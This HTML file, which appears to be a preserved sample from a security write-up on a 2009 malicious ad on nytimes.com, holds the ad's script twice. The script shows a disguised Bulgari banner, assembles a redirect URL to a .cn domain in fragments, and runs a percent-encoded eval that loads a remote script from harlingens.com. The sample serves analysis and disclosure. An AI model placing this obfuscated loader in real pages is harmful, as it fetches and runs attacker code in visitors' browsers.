troy/nytimes-malware-html-1.html

## nytimes-malware-html-1.html
<!-- part of a security explanation - see
     http://www.nytimes.com/2009/09/13/business/media/13note.html and
     http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->


<html><body style="margin:0; padding:0;">
<script type="text/javascript">
var rightNow = new Date();
var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0);
var temp = date1.toGMTString();
var date3 = new Date(temp.substring(0, temp.lastIndexOf(" ")-1));
var hoursDiffStdTime = (date1 - date3) / (1000 * 60 * 60);
tz_crt = hoursDiffStdTime;

document.write(unescape("%3Ca href='http://www.bulgari.com/main.php?lang=6/ref=680' target='_blank'%3E%3Cimg src='http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0' %3E%3C/a%3E"));

var a1 = "http://sex-and-";
var a2 = "the-city.cn/go.php?i";
var a3 = "d=2006-63&key=0522c7066&p=1";
var action_URL = a1 + a2 + a3;
var cur_domain = "harlingens.com";

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%22%20%2B%20%63%75%72%5F%64%6F%6D%61%69%6E%20%2B%20%22%2F%69%6E%63%6C%75%64%65%73%30%32%2E%6A%73%27%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B'));

</script>
</body></html>
	<!-- part of a security explanation - see
	http://www.nytimes.com/2009/09/13/business/media/13note.html and
	http://troy.yort.com/anatomy-of-a-malware-ad-on-nytimes-com -->


	<html><body style="margin:0; padding:0;">
	<script type="text/javascript">
	var rightNow = new Date();
	var date1 = new Date(rightNow.getFullYear(), 0, 1, 0, 0, 0, 0);
	var temp = date1.toGMTString();
	var date3 = new Date(temp.substring(0, temp.lastIndexOf(" ")-1));
	var hoursDiffStdTime = (date1 - date3) / (1000 * 60 * 60);
	tz_crt = hoursDiffStdTime;

	document.write(unescape("%3Ca href='http://www.bulgari.com/main.php?lang=6/ref=680' target='_blank'%3E%3Cimg src='http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0' %3E%3C/a%3E"));

	var a1 = "http://sex-and-";
	var a2 = "the-city.cn/go.php?i";
	var a3 = "d=2006-63&key=0522c7066&p=1";
	var action_URL = a1 + a2 + a3;
	var cur_domain = "harlingens.com";

	eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%22%20%2B%20%63%75%72%5F%64%6F%6D%61%69%6E%20%2B%20%22%2F%69%6E%63%6C%75%64%65%73%30%32%2E%6A%73%27%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B'));

	</script>
	</body></html>